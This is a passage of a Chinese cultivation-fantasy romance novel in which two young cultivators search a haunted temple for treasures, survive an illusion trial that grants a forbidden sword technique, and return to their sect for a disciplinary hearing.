桑灵并未察觉异样,风清云五感发达,却将他们所有耳语听了个清楚。 风清云大步朝那桌人走去。 桑灵懵了懵,忙小跑跟上,眼瞧着风清云即将掀翻别人桌子,他连忙从后抱住风清云的腰,使劲浑身解数往后拖拽! 桑灵身单力薄,按理来说根本撼动不了分毫,可风清云竟真被拽得停下脚步。 从后背贴上来的身躯绵软温热,带着淡淡玉兰香。 比他想得还要柔软。 小二忙将二人引到靠窗雅座,避免一场纷争。边斟茶边热情搭话:“二位客官瞧着面生,不像本地人呐?是来办事还是游玩?” “寻亲。”风清云声线微冷,“家中早年遭难,亲人迁居此地,我带弟弟来碰碰运气。” 小二“哦”一声,目光在二人间转了一圈,最终落在桑灵那张水灵灵的小脸上。心想,只是弟弟?方才这冷面公子一副要吃人的样子,不知道的,还以为被抢了老婆呢。 酒水提成高,风清云先点了坛酒,桑灵立刻从打开荷包,掏出几块碎银放在桌面:“小二哥,我们初来乍到,人生地不熟,想跟你打听点事。” “客官尽管问,小的知无不言!” 见这位小公子递出银两,小二眼睛发亮,愈发笃定心中猜想,亲兄弟还明算账,这小公子看起来如此年轻,寻常人怎会将盘缠全权交予他保管?嘴上说着弟弟,实际怕是情弟弟!难怪方才客人几句污言秽语,便让这位冷面公子暴怒失态。 能不生气吗?他们意淫的可是他相好的! “我们与亲人失散多年,只依稀记得他们住在一座神庙旁。”桑灵看了眼风清云,继续轻声往下问,“只是这些年城里变迁,我们寻遍各处,也不曾找到踪迹。” 小二当即面露困惑,连连摇头:“不可能啊客官,咱城仅此一座神庙,位于城北凤凰山山脚。四周尽是黄山荒地,从古至今从未有人家落在神庙旁!” 桑灵正要继续开口询问,忽见小二以手掩唇神秘兮兮道,“不过说起那神庙,倒是有一桩怪事,每逢月圆之夜,庙里总会传出诵经声,可那庙早就荒了几十年,里面连个和尚都没有!” “有人说是闹鬼,也有人说,是那庙里藏了什么东西……” 8.剑谱 “狗蛋!又在那儿偷懒唠嗑,客人的菜都上齐了吗?!” 掌柜凶神恶煞呵斥,店小二吓得缩了缩脖子,对桑灵二人讪讪赔笑,刚要抬腿去干活儿,风清云出声道:“再来三坛你们这儿最好的酒。” 掌柜亲自捧了三坛封泥完好的陈年佳酿,喜笑颜开:“二位爷慢用!狗蛋,还不好好伺候二位爷!” 桑灵连忙数了数荷包的碎银,心疼得眉头都皱了起来。 风清云辛辛苦苦挣来的钱,不过片刻光景便挥霍大半。 店小二见了暗觉好笑,小公子那肉疼的小表情,就像勤俭持家的妻子看到自家败家夫君胡乱挥霍,满心恨铁不成钢,却不舍得真的开口责备。 他手脚麻利地给二人斟满热茶:“二位客官若想去城北神庙,可要趁早动身,神庙在凤凰山山脚,离这儿有半时辰的脚程。二位最好在每日正午前往,过了时辰,附近阴气森森,可怕得很。” “庙里供奉的是山神,也是我们九洲城方圆百里唯一一座神庙。” 传闻人间伊始,上古曾有一场惊天浩劫,妖魔肆虐、战火燎原,苍生流离失所生灵涂炭,百姓祈求神族相助无果。最终,是那位功德圆满、本该飞升成圣的人皇,甘愿放弃,以神魂为祭散尽修为,避免一场人间浩劫。 后人感其恩德,立碑建寺,尊称其为山神。 没想到九洲城竟有供奉山神的庙宇。 店小二离开了,桑灵刚转过身,便敏锐察觉风清云的异样。风清云端坐不动,周身气息燥热异常,姿态透着不自然的紧绷。 “你先回房。”风清云说。 桑灵乖乖照做。 大堂之中,风清云静坐许久。 此秘境禁制禁灵,同样压制住他的自愈能力,残余毒血滞留体内,扰得他心神不宁。 待体内燥热稍稍褪去,风清云方才起身,店小二在楼梯口拦住了他:“公子留步!附近便是成衣铺,可要给小公子添一身衣裳?” “衣裳?” “不是小的多嘴,你穿得华贵、衣裳料子上乘,给你娘子就穿那样……跟街边小乞丐似的。” “不是……” “我的工服料子都比你娘子的好!” “我们并非那种关系。” 店小二一脸“我听你吹”:“还不是?那小公子唇瓣红肿、下唇又有咬痕,分明是……你就直说吧,是不是跟你离不开干系!” 风清云无法抵赖:“……是。” “既已有肌肤之亲,那便是夫妻。”店小二语重心长道,“他看起来才多大呐,年纪轻轻跟了你,可不能亏待人家。方才他为几坛酒钱心疼不已,分明是心疼公子你挣钱不易!” 风清云再次想起山洞内的种种。 桑灵以唇哺药,他又以口吸毒血,皮肉相触,早已逾越分寸。 店小二点醒了他。 他们既已有肌肤之亲,便断然不能当作没有发生过。 风清云心底有了决断,抬步返回客房。 推门而入,恰好撞见桑灵衣衫半褪,露出一截莹白单薄的肩头,皮肤肌理莹白细腻,骨肉匀停。 桑灵心头一惊,飞速拢好衣襟,面颊泛起羞耻红晕。 风清云神色坦然,目不斜视走到屏风后,靠窗的八仙桌旁,端起青花瓷杯,不紧不慢地倒茶。 即便在碧海云天外门,桑灵也因榜首成绩独居小院,从未在人前宽衣。此时共处一室,哪怕知晓风清云并无窥探之意,可他依然会难为情。 他背身挽好散落的墨发,绕到一处雕花美人画后,借屏障遮挡细细洗漱擦身。 桑灵天生骨量轻盈、身形纤瘦,因此举手投足间有一种男子中难见的柔弱之美。 柔柔水光映着莹白肌肤,小脸挨着双手捧着的面巾,水灵又白净。 洗漱擦身完,桑灵拢好衣裳,轻手轻脚爬上床,自觉蜷缩在最内侧角落。 他抬手扯下床幔,才悄悄探头望向窗边静坐的身影。 风清云手中热茶早已凉透,片刻,他才起身移步,前去洗漱。 烛火被吹灭一盏,屋内只余一点微光。 桑灵尽可能窝在角落,他骨架小,在床上几乎没有存在感,全然不会拥挤。 灵犀草:【接下来的剧情是我能免费看的吗!??】 不多时,风清云便回来了。 床幔被一只手轻轻挑开,身侧床铺刚一沉下,桑灵便察觉到扑面而来的滚烫温度。 二人指尖意外相碰,桑灵咻的一下缩回手,又听风清云说:“你的手很凉。” 桑灵缓缓侧过身,迟疑着点了点风清云的指尖,很烫。双手轻轻捧住风清云滚烫的面颊,微微俯身,将自己微凉的额头贴了上去。 “不是我的手凉,是你发烧了。” “是吗?” 风清云想说点什么,可看见桑灵一脸担忧,感受那双温热手心捧着自己的脸,淡淡软香柔柔萦绕鼻尖,心底莫名躁动发热,一句话都说不出来了。 他撑身而起,想做点什么缓解这股莫名燥热,偏巧桑灵正好挪动身形想下床,他身形一歪,竟直接枕在桑灵的大腿上。 桑灵浑身紧绷,长长的黑睫慌忙垂落,遮住眼底无措。 风清云枕卧的位置,恰好靠近他被蛇咬伤的患处…… 伤口尚未完全愈合,微妙战栗感扩散全身。 手指不自觉揪紧身下被褥,桑灵紧紧夹着腿,手腕骤然被一只大掌扣住。 “桑灵。”风清云认真说,“我会对你负责。” 这不是该对主角的台词吗? 桑灵被吓得飞速收回手,指尖不小心勾缠到风清云的发带。 十四岁以后,风清云从未在他人面前散发,清醒时刻被扯下发带,意味男子贞洁不在。 失去安全感的同时,伴随微妙期待。 风清云将红发带一圈圈缠在桑灵莹白的手腕,郑重承诺:“我会待你好。” 桑灵满脸迷茫。 灵犀草喷了:【那还说啥了,兄弟,给了!】 怎么风清云也跟着胡言乱语? 桑灵看着枕在自己腿上的风清云,忧心忡忡——这人莫不是烧糊涂了吧? 好在翌日,风清云又恢复往常,并未再说胡话。 只是他手中多了一身崭新衣裳。 一身轻薄春衫,绯色锦袍绣着莲花,腰间束一条红宝石窄带,莲花清丽、宝石奢贵,衬得桑灵那张小脸愈发明艳动人,额心那抹红都鲜活无比,宛若抹了胭脂。 桑灵头一回穿这么漂亮的衣裳,一时新奇,忍不住抬起手臂在铜镜前转了圈,绯色衣袂随着他的动作轻轻扬起,像一朵盛开正艳的芙蓉。 铜镜光影晃动,身后悄然覆上一道高挑身影。 桑灵正要转身,一只手落在肩头将他轻轻转了回去。那只手又顺势下移,为他摺起宽松袖口。 手一松,袖袍便如流水般自然垂落,遮住那截莹白细腕。 “这是给我的吗?” 铜镜中,桑灵缓缓仰起面庞,望向身后低头垂眸看他的风清云。他好像问了个废话,这身春衫尺码小,风清云又穿不下。 “给你的。”风清云取下自己的红发带,认真帮桑灵挽发,“不合身。待出秘境,我再给为你量身置办新衣。” 桑灵微微茫然,想问为什么,见风清云静静看着他的目光,莫名心慌。 他赶忙低下头,却无法阻挡铜镜的映照。 仅差两岁,风清云身量却极高,比桑灵高近一个头。他站在风清云身前,头顶正好抵着风清云的下巴,二人一起被铜镜框住。 一时无言。 桑灵抿唇低头,不知该说些什么。风清云了然,看来桑灵也记得他昨夜给出的承诺,他们都还年轻,却私定终身。 桑灵紧张无措,他亦然。 收拾妥当,他们准时奔赴城北凤凰山。 凤凰山山脚植被葱茏,青砖黛瓦的神庙伫立在山脚,朱红大门虚掩着,石阶落满枯叶。 无需风清云提醒,桑灵便很自觉地挽上他的手臂,跟得很紧。 庙门被推开,主殿地面一尘不染,供桌香炉燃着半截残香。 殿内四壁画满壁画,线条简单富有神韵,色彩斑驳,字形古拙晦涩,不似当今通用文字。 桑灵一个字都不认识。 “是上古密文。” “你能看懂?” 风清云摇头:“我只知晓它是上古密文,却不精通,只能认出几个零星的字符,无法拼凑完整含义。” 桑灵有点失望,却也不气馁,继续观察壁画古文,他总觉得有点眼熟,好像在哪里见过。 古文排列看似无序,却有规律,他顺着古文走势指引,目光落在神庙供桌上的一尊巴掌大的石像,面容模糊,因底座不平微微歪斜。 桑灵将小像扶正,又用衣袖细细擦拭小像。 就在这时,头顶骤然响起咔哒一声,一枚暗箭从后方射来,钉入墙壁——若非他低头擦拭小像,现在这箭已射穿了他的头颅! 桑灵心有余悸,怔怔望着那尊面容模糊的小像,是祂救了自己。 他小心翼翼将小像摆回原处。 神庙内多有机关,风清云不敢让桑灵离他太远。 环顾一周,一无所获,桑灵回到小像前,试着取出小像。 这时,供桌下方的青砖下沉,露出一个黑黢黢的暗格,里面躺着一枚红色耳坠。 手指触及耳坠的刹那,眼前豁然铺开一方独立天地。 约一间屋舍大小,灵气充裕,角落里堆放着几包种子,几本泛黄古籍——是炼丹药方! 灵犀草惊喜道:【这是能储物活体的纳芥耳珰!能收纳活物、自成灵域的上古至宝!】 【灵草种子先不提,这几张药方都是高级药品,我的宝,你赚大发了!】 修真界炼丹师稀缺,不仅因其修炼困难、耗材昂贵,更因药方珍贵。 世间流传的丹方大多残缺疏漏,真正的顶级药方早已被宗门世家垄断封存,寻常修士根本没机会接触。 狂喜过后,桑灵陷入纠结。 药材种子好分,耳珰只有一件,他们该如何分? 桑灵小心翼翼问仙草:“我有点想要耳珰,你觉得他会给我吗?” 【包的。】 “你为什么这么笃定?” 【给老婆花钱是应该的,正确的,天经地义的。】 “我不是他老婆。”桑灵反驳,又听仙草分析山洞种种,他懒得再辩,“说不过你。” 风清云走过来了,桑灵赶忙将耳珰往前一送:“这里有一个暗格,我捡到了它。” 风清云探查片刻:“并无妖邪之气,可以留下。” 桑灵见他没拿:“你不要吗?” “我?” “我们一起发现的,理应平分。” “机缘各有所属,你先发现,我便 没有争夺的道理。”风清云平静道,“我既来到此地,也有属于我的机缘。若没有,我也不会强求。” 况且他们既私定终身,便没有你我之分,何必斤斤计较,过多生分? 风清云牵过桑灵的手,微一用力,在指腹挤出几滴血珠,滴在耳珰上。 鲜血入玉,灵光一闪,宝物彻底认主。 “现在,它属于你一人。” 桑灵瞳孔慢慢放大,这是他的第一份机缘。 他从前想都不敢想的机缘。 这是不是代表,他离修真界更近一步? 桑灵将耳珰妥善收好,正要继续研究墙上壁画,目光扫过供桌,摆放神像的底座微微凹陷。 类似的底座,供桌上方的高梁处似乎也有。 “这里好像放着什么东西。”桑灵指着底座凹痕,又指向上方横梁,“那里也有差不多的底座。” 风清云探查一番,他的手指比桑灵长,能探到最深处暗格。他“嗯”了声:“里面确实有东西,放着一本古籍。” 桑灵连忙凑过去,一脸欣喜:“这是剑谱吗?” 风清云将其取了出来,古籍记录各式剑招:“是剑谱,与我的风灵根极为适配。” 现在他们都得到机缘,桑灵真心高兴。 上方横梁也许还有机缘,只是太高,即便踩上供桌上也够不着。 风清云往上看了片刻,随后弯下腰,双手交握形成一个稳定的支撑点:“踩上来。” 桑灵一愣:“什么?” “太高了,我们够不着。”风清云说,“你踩着我的肩膀上去。” 惊愕都不足以形容他的心情,风清云平日那般矜傲,竟愿意让他踩着肩膀…… 桑灵抿抿唇,犹豫片刻,蹲下身脱鞋。 这下轮到风清云愣了,他来不及说什么,桑灵已不紧不慢脱了鞋履。 一双鞋履整整齐齐并在一起,桑灵赤足踩在鞋面上,足背莹白如雪,脚趾圆润分明,因紧张微微蜷缩,泛着细腻的薄粉。 脚踝从裤脚边缘露出一截,纤细单薄,仿佛一掌可握。 风清云手指微顿,朝他伸出手,桑灵缓慢抬脚踩在他的掌心。他收拢五指,稳稳托着桑灵向上。 桑灵身形微微摇摆,小心翼翼站稳,摇摇晃晃踩上他的肩膀。 高处立足本就悬空不稳,桑灵绷紧腰线,努力抬高手臂够梁上凹槽,重心偏移,身形骤然一滑,整个人直直往下坠! 风清云下意识抬手托举,可一切发生得太快,桑灵腰身一歪,竟不偏不倚坐在风清云的脸上! 灵犀草:【爱是克制,这一次我不会发表任何猥-琐言论!??】 【你们今晚????吗?】 桑灵大脑瞬间空白,他能清晰感觉到风清云的呼吸,甚至风清云的薄唇被压住后似微微张开了一瞬、仿佛要说点什么,最终选择闭口不谈。 一低头,风清云整张脸被他的衣摆盖住大半。 桑灵窘迫得浑身发烫,手忙脚乱想要起来,可越挣扎扭动,身形压得得越实。 鼻尖陷入一片柔软的布料间,风清云的一张脸被骑得通红,几乎喘不上气。 “对不起,我不是故意的……” 风清云声线被闷得微喑:“我无事。” 【小风也无事吗,我咋不信呢。????】 若只是视线遮挡、呼吸受限也便罢了,偏偏唇齿鼻腔都是桑灵身上淡淡的软香。 隔着薄薄布料拂面,风清云有一瞬间的失神。 稳定心神,大掌稳稳托起桑灵的臀部,风清云重新将桑灵托了起来,让他重新踩在自己肩膀上。 “继续。” “……” 桑灵根本不敢低头看风清云,胡乱摸索横梁深处的暗格,指尖微微一顿,竟真让他碰到了什么。 触感丝滑,像某种动物的皮革……是书卷吗? “可有发现?” “我似乎摸到了书卷,应当是剑谱。” 话本中,风清云便是在神庙秘境中取得一卷绝世剑谱,之后凭借此机缘修为一日千里。 “坊间早有传闻,神庙秘境中藏有一卷上古剑谱,无数修士为争夺剑谱遇心魔侵袭,至亲反目,同门相残。”风清云道,“里面也许设有机关,你务必小心。” 桑灵了然点头:“这本剑谱便是你此行的主要目的吗?” “正是。” 难怪风清云对耳珰毫不动心,原来心心念念的是剑谱。 他们此行探索神庙各有收获,很是公平。 桑灵继续将手臂往里面伸,指尖捏住书卷一角,小心翼翼往外扯了扯。 那书卷被卡得有些紧,他稍稍加了点力道,又往外扯了一寸。 这也让仙草看清书卷的全貌。 【居然是《纳元诀》!!】灵犀草惊呼,【这可是上古无上剑谱!能破世间万法、拆天下剑招,其中还藏有诸多失传已久的功法与心法,极适合五灵根修炼!】 【“剑道至境,万法归元;纳天地之灵,破万剑之招。”】 【这才是真正的顶级机缘!!】 被仙草激动的声线感染,桑灵手指发抖,小心翼翼朝暗格深处探趣。 即将取出《纳元诀》的刹那,整座神庙突然疯狂震动。 梁柱剧烈摇晃,灰尘从屋顶簌簌落下,迷得人睁不开眼睛。 紧接着,桑灵眼前一黑,彻底失去意识。 9.传承 再次睁开眼,桑灵仍在那座神庙,只是供桌上的香炉翻倒,香灰撒了一地。 而他正躺在一张冰冷的供桌上,风清云立在一旁手持长剑,静静垂眸看他。 怀中抱着那卷绝世剑谱,正是仙草说的《纳元诀》,桑灵大喜过望,连忙要同风清云分享这个好消息,却被那晦暗不明的眼神看得汗毛竖起。 依然是那张英俊年轻的脸,居高临下的视角,矜傲冷淡的凤眸中,带着他熟悉的冰冷漠然。 那一刻,桑灵回忆起灵田荒坡下被剑锋挑起下巴时,生死掌握在他人一念之间的恐惧感。 风清云手持滴血长剑靠近供桌,桑灵下意识后退半步,下一瞬那柄长剑便朝他劈来! 桑灵连忙翻身下了供桌,供桌被斩断一角,然对方仍然步步逼近。 “仙长……”他从喉间挤出恐惧的颤声,“你怎么了?” 风清云居高临下阴鸷地看他,那漠然神色与往常一样,又截然不同。 心魔!桑灵立刻反应过来,风清云提起过,许多修士进入秘境后皆反目成仇,多为遭遇心魔挑拨。 也许风清云遭遇心魔侵扰,身不由己。 “你清醒一点,我们……” 又是一剑斩下。下手决绝,不留半分余地。 一道熟悉冷漠的声音在耳畔响起。 “既拿到剑谱,也便没你的用处了。” “多一个人知晓剑谱,便是留祸。” 杀人夺宝! 脑海中电光石火闪过这四个字,桑灵不敢相信,昨日还与他同床共枕的人,今日竟当真对他痛下杀手。 桑灵踉跄着转身便逃,一只大掌捏住他的后颈,将他掼回供桌上。 他惊慌后退,风清云冷面提剑步步紧逼,被削去一角的供桌晃动不止。 绝望与恐惧铺天盖地席卷,桑灵被单手按在桌案上动弹不得,眼底浮现惊惧水色,泪水洇湿鬓边,又顺着下颌滴落在冰冷的供桌上。 最后一丝侥幸彻底破裂。 风清云真的想要杀了他。 这时,他突然发现供桌一角多出一柄长剑,剑身通体漆黑流转幽暗红光,就在触手可得的位置。 一个念头忽然自内心深处涌现,带着浓烈的暴戾恨意。 杀了他…… 杀了他! 杀了风清云,他就能活下来! 杀意翻涌愈发清晰强烈,仇恨疯狂生根发芽。 桑灵指尖微微颤抖,在供桌上缓慢摩挲,一点点朝那柄剑的方向挪去。 指尖刚触碰到冰冷剑柄,过强杀意带来的违和感令桑灵顿感迷茫。 杀了风清云?这当真是他想要的吗? 即便在外门被欺负,他想的也只是活下去,从未想过要谁性命。 可若这不是他的想法,又是谁的? 电光石火间,桑灵骤然思绪清明。 风清云品性孤高,既跟着跳下山崖,便绝非暗中偷袭、杀人夺宝的阴毒之辈。若真想独吞机缘宝物,无需等到今日,更无需用如此卑劣的手段。 从他苏醒那时开始,识海中的灵犀草毫无动静! 桑灵努力去感应识海深处的仙草:“灵犀,仙草?!” 毫无回应! 风清云是假的,这根本不是现实! 这是秘境中的幻境,是专门扰他心神,诱他入魔的假象! 若他真杀了“风清云”,才会坠入万劫不复的深渊。 所有恐惧如潮水褪去。 桑灵用劲全身力气握住剑柄,将长剑用力掷在地上。 哐当一声,长剑落地发出清脆哀鸣,剑身在地面弹落二下,哪层幽红光芒如一盏熄灭的灯渐渐按下。 此举似惹怒了“风清云”,他也丢下滴血长剑,抬手朝桑灵的脖颈握去。 冰冷触感落在脖颈,桑灵浑身发抖却放弃挣扎,任由那双手扼住自己咽喉。 他躺在供桌上,绯色春衫凌乱衣襟敞开,因屏息四肢微微抽弹,面庞浮起病态薄红,泪水盈满眼眶又顺着眼尾滑落,唇角溢出透明涎水,在绯色衣襟上洇开深色湿痕。整张脸湿漉漉,分不清是汗还是泪。 死亡近在咫尺,他竟毫无惧色。 宁可身死幻境,也绝不被心魔摆布。 意向之中的窒息感并未到来。 喉间力道骤然褪去,庙宇幻境层层破裂,消散在虚无中。 “风清云”仍冷冷注视他,皮囊年轻清俊,眼神却沧桑深邃,充满审视。 桑灵劫后余生地大口喘息,半晌,才颤声问:“前辈……” “我通过您的考验了吗?” 夜风穿殿,周遭转瞬亮堂了起来。 “风清云”面容身形扭曲,如水波晃动,化作成年男性的体格。 “你年纪轻轻,倒是聪明机灵。” 他猜对了?这算过关了? 桑灵如释重负松了口气,蜷缩在供桌一角平复心情,心想他名字就有灵,能不机灵吗? 虚影端坐在木桌后方,“我设下的幻境专攻人心最脆弱之地,最恐惧、最渴望、最不敢面对的执念。入此境者无一不被心魔裹挟,轻则神志疯癫,重则魂飞魄散,葬身此地。” “今日却被你二人接连识破。一个筑基期的风灵根倒也罢了,你一个练气初期的小娃娃,竟也能走出来……” “你是何时看破幻境的?” 桑灵摇头:“他不会杀我。” “他不会杀你?你心中可不是这么想的。”黑影冷笑道,“你惧他怕他,恨不得离他越远越好,当下伴他身边不过是无奈之举。” “你明明有机会杀了他,以泄心头之愤,为何犹豫?为何不忍下手?” 桑灵:“我确实怕他,但他也救过我,我不想杀他。” 黑影声色俱厉:“风清云心高气傲,初次见面便对你拔剑相向,将你视作蝼蚁,这等目中无人之辈,死便死了,与你何干?!” “你为他着想,你可知在风清云在幻境中是如何折辱你!” “我早已看透你的本心,你身负废灵根,在宗门备受欺凌,无依无靠,你心底比谁都渴望力量!” “你渴望留在修真界,渴望挣脱蝼蚁般的命运……”黑影循循善诱,“今日我便给你这个机缘!” “如今修真界灵气稀薄,五灵根寸步难行,我可助你斩杀风清云,抽走他的变异风灵根,将他的气运尽数渡与你!那可是千年难得一遇的天才资质!” “我还会将上古《纳元诀》尽数传承于你,从此没有人再敢欺侮你,你不再低人一等,可一跃凌驾所有人之上!” 蛊惑人心的沙哑嗓音在耳边回荡。 在强者为尊的修真界,无人能抗拒眼前诱惑,这可是至高无上的力量。 桑灵不免动摇,他垂眸盯住指尖,身上的绯色春衫布满褶皱,不复清晨那般整洁华丽。 须臾,他抬起头:“我确实想留在修真界,渴望变得强大。” “但我想变强,不是为了凌驾众生,碾压他人,更不是掠夺他人成全自己。” “我想要尊严,想要自由,想要不像蝼蚁一样被人掌控生死。” “我不过是想堂堂正正地活着。” 他身单力薄,道出的言语却铿锵有力。 “倒是我小觑你了。”黑影目光复杂,唏嘘不已,“千百年来闯到此地者无数,无一人如你这般。” 本心纯粹,执念清正。 “我的传承算不上光明正道,非常人能修炼,心性坚韧、道心稳固者方可驾驭。你看着弱小,竟符合《纳元诀》所有的条件。”黑影缓缓站了起来,“《纳元诀》功法进阶一日千里,修炼过程却凶险万分,稍有不慎便会道消身陨。” “昔日我为成就大法,造下诸多杀孽终遭反噬,囚禁在此接受神罚。我的后代殷氏因我遭遇驱逐,我本想等后人前来承接衣钵……” “但现在,我改变主意了。” 殷氏? 桑灵熟读修真史籍,上古殷家曾煊赫一时,先祖是古人皇座下的重臣。后因殷氏老祖为求逆天大道,触犯天怒遭遇神罚,后人惨遭流放。 桑灵小心翼翼问:“您是殷氏老祖?” 黑影没有否认:“此庙为‘贪嗔’,也是我接受神罚之囚境。来此地的修士心中皆有贪欲,被我以此功法吸走精魂,出去后疯疯癫癫。来的人越多,这环境便越逼真,直至化作圆满的真实世界。” 桑灵后背突然蹿起一股凉意。 原来城内所有生灵,都由被殷氏老祖吞噬的精魂练成。 “本以为此道传承注定断绝,将它交予你,或许有不一样的结局……” 殷氏老祖喃喃看向桑灵,“我再次提醒你,我这功法霸道得很,能否承受得住,全看你自身造化。轻则经脉尽毁,重则魂飞魄散,你可愿意?” “晚辈愿意。” 殷氏老祖赞叹:“你年纪轻轻能有如此心性,实属难得。既如此,我便破例测一次天命。” 一枚古朴签牌凭空浮现,是大凶之卦。 “既知凶险,你可愿接受?”殷氏老祖又问,“你怕不怕死?” 桑灵怎么可能不怕死?他才十五岁,尚未看过外面的世界。 “晚辈自然怕死。”桑灵道,“但我更怕庸碌一生,更怕因怯懦错失机会,抱憾终身。” 他愿放手一搏。 “好!好一个宁搏生死,不恋庸常!” 沧桑年迈的声音大笑道,“小子勿慌!卦象虽是至凶,却暗藏一线生机。峰回路转,柳暗花明!” 漫天金光自虚空骤然落下,尽数灌入桑灵眉心。 无数剑招、功法口诀灌入识海,练气初期修为根本无法承载传承的磅礴力量。 传承不认可弱小的他,生出排斥,狂暴之力在经脉横冲直撞,试图反噬! 桑灵死死咬住虎口,用疼痛令自己保持清醒,鲜血顺着掌心往下流淌,染红这身华贵的绯色春衫。 不能放弃…… 他绝不放弃! 任凭狂暴力量撕扯经脉,桑灵始终咬牙硬抗。 漫长的煎熬过后,体内肆虐的力量渐渐平息,温顺地融入他的经脉神魂。 传承结束! 猛地吐出一口淤血,桑灵顿感身体轻盈许多,悠悠睁开眼,最先 看到一张年轻面庞。 幻境中险些被夺性命的恐惧涌上,他下意识用力推开对方。 风清云看着自己空落落的手,指尖微曲,又垂下了。他站在原地问:“你在幻境中看到了什么?” 【你居然真得到主角的传承机缘,太厉害了我的宝!】仙草狂喜,【现在你离灵傲天更近一步,哼哼,终于轮到我们翻身了!】 【快给我草草看看,幻境离究竟发生了什么?你还好吗?】 他居然真的抢走了属于主角的机缘…… 桑灵惊魂未定,半晌才摇摇头,没有道出幻境中“风清云”要杀他一事。 “我遇见一个老祖……” 神庙突然陷入剧烈震颤。 梁柱墙壁寸寸龟裂坍塌,机缘已取走,神庙幻境被破,秘境壁垒摇摇欲坠。 林间传来咆哮,一头三丈高的石兽暴怒冲出,宣泄家园被毁的怒火。 风清云驾轻就熟将桑灵捞在怀里。 “我的灵力好像恢复了一点。”接受传承后感官更加敏锐,桑灵仔细辨认空气中浮动的灵气,“山上!越接近高处,禁灵压制越弱。” 风清云“嗯”了一声,将桑灵正面抱在怀里,一路奔向山峰躲避石兽追赶。 石兽穷追不舍,一根粗壮石尾横扫而来,重重拍打在崖壁之上。 碎石纷纷,地面撼动。 桑灵蓦地拽住风清云的手臂,指向半空:“那是不是你的本命剑?” 一柄长剑卡在崖壁之间,是鉴月! 风清云眸色骤凝,遗失已久的本命剑终于出现,剑身映月生辉,不受禁灵所制。但他们仍受禁制影响,无法完全调动灵力。 除非有办法到更高的、不受禁制影响的地方…… “我们可以利用石兽。” 桑灵蓦地缠紧风清云,风清云对上那双清亮的眼睛,立刻会意。 “抱紧我。” 风清云试着摸出一张符箓,朝石兽方向丢去。 符箓化作火光精准烧中石兽的眼睛。 狂怒之下,石兽疯狂甩着尾巴击打地面与崖壁。 最后一下重击,脚下地面受到一股震力,将二人如炮弹一样托向上空。 风清云搂紧桑灵,借上升冲力伸出手去。 鉴月剑被他从崖壁中生生拔出,银白冷光在剑身流转开来。 风清云重获灵力,足尖在半空重重一踏,剑光冲天而起直冲云霄。 乌云滚滚,悬崖边上。 数百盏灵灯悬在半空。 穿着雪色碧涛浪花纹的弟子们正一筹莫展。 “秘境动荡不止,我们根本无法下崖营救!” “派出去的探鸟也全部有去无回……” “风师兄坠崖已有三日,音讯全无,恐怕凶多吉少……” 人群议论纷纷,最终看向前方身姿清雅的青年。 玉冠束发,雪色锦袍被风吹得翻飞。雪碧尘面容温润,眼底却一派肃然。 他偏头看向人群后的躲躲闪闪一行人:“你们为何今日才来上报?” 赵丹脸色铁青来回踱步,狠狠瞪了眼身旁的赵韩。 他们哪知风清云会跟着跳下去?! 外门弟子死便死了,风清云可是雪碧尘的表弟,长老座下的爱徒! 他们在悬崖守了三日,才硬着头皮去上报。 方才那弟子说得没错,哪怕是变异风灵根的风清云,被困三日怕也是凶多吉少。 更别提他还带了个拖油瓶。 赵韩咬咬牙,上前一步拱手道:“回大师兄,此事全是桑灵的错!” “我们意外遇见蛇潮,风师兄不顾安危以命相护。可桑灵太过莽撞多次拖后腿,风师兄是被他连累坠崖的。” “没错,我等亲眼所见!”其余几人纷纷附和,“都是桑灵害的风师兄不慎坠崖!” 众弟子议论纷纷,雪碧尘淡淡呵止:“真相如何,我自会彻查。” “速去禀告掌门。”他朝悬崖边走近,“命灯仍亮,他们还活着。活要见人,死要见尸……” “大师兄万万不可!”另一内门弟子急忙拦住他,“悬崖灵力动荡剧烈,底下必有大事发生,您贸然下去,实在太过凶险!” 暗不见底的黑渊骤然破开一道清冽剑光。 月华流动的窄剑上,两道身影紧紧相贴。风清云眉眼锐利,墨发在风中狂烈飞舞,怀中抱着一个单薄纤瘦的身影,那人将脸埋在他胸口,双手紧紧抓住他衣襟,只露出一截隽秀的下巴尖,与若隐若现的额间红痣。 “是风师兄。”“风师兄回来了!” 灵力濒临耗尽,风清云御剑的姿势愈发不稳。 剑光落地的刹那,他目光一扫众人,精准捕捉到最前方的雪色身影。身姿温润、气度温雅,正是他最信任的表兄。 见二人无恙归来,雪碧尘紧绷的神经终于松弛下来,他上前半步,风清云突然将怀中人朝他抛了过来。 雪碧尘下意识伸出双手,尚未看清楚容颜,一缕玉兰软香率先扑面而来。 温热柔软的身躯稳稳落入他身前,连带香气,被他抱了个满怀。 10.审判 雪碧尘低头看去。 桑灵穿着一身染了血渍的绯色春衫,腰间一枚红宝石窄带,惊犹未定的面庞被风吹得惨白,鼻尖面庞却红彤彤,与他额心那抹红是同样的颜色。 “你还好吗?” 尚未从生死一线的惊险中完全回神,桑灵愣愣环顾四周。 数百盏灵灯在半空高悬,穿着雪色碧涛浪花纹的弟子们聚集,乌泱泱一片,他看到人群后一脸郁色的赵韩,不自觉抓紧雪碧尘的袖子。 “别怕,没事了。” 雪碧尘掌心轻轻拍着桑灵的后背,像在安抚一只受惊的小动物。 他全然忘记,同样死里逃生的人,还有他的亲表弟。 有人慌乱惊呼:“风师兄吐血了!” 雪碧尘这才回神,抱着桑灵走到担架边。 风清云紧握长剑,脸色苍白唇角渗血,见桑灵被他唯一信任的表兄抱在怀里,才松了一口气。 嘴唇翕动了一下,他艰难开口:“表兄,桑灵是我的救命恩人……亦是我的……” 话未说完,他又吐出一口血。 雪碧尘忙抱着桑灵避让,见鞋履上溅到的几点血渍,微微皱眉:“好了,恩情缘由之后再说,你先安心躺下疗伤。” 风清云定定看向桑灵,“……我会来找你。”彻底昏死过去。 弟子纷纷望来,风清云素来孤高冷漠,对谁都爱答不理,竟对一位外门杂役如此上心?又说出这样的话? 雪碧尘同样疑惑,低头看去,敏锐捕捉到桑灵的束发发带,鲜红无比,表面流动淡淡的灵力。 风家的传统,他比谁都清楚。 雪碧尘愣了一愣,恍然大悟。 他立刻将桑灵放在地面,退后半步保持得体距离。 “这是治疗外伤的丹药,你先服下。”雪碧尘从袖中取出一个药瓶,为避嫌,他对身旁弟子吩咐,“先带他去休息。” 外门议事堂。 堂外围满前来看热闹的内外门弟子。 戒律堂执事亲临,主管内外门的周管事、王管事端坐两侧高位,二人对视一眼,先一齐看向锦衣华袍的赵韩,再幽幽转向一身狼狈的瘦弱少年身上。 桑灵与赵韩同为外门弟子,但外门弟子也分三六九等。 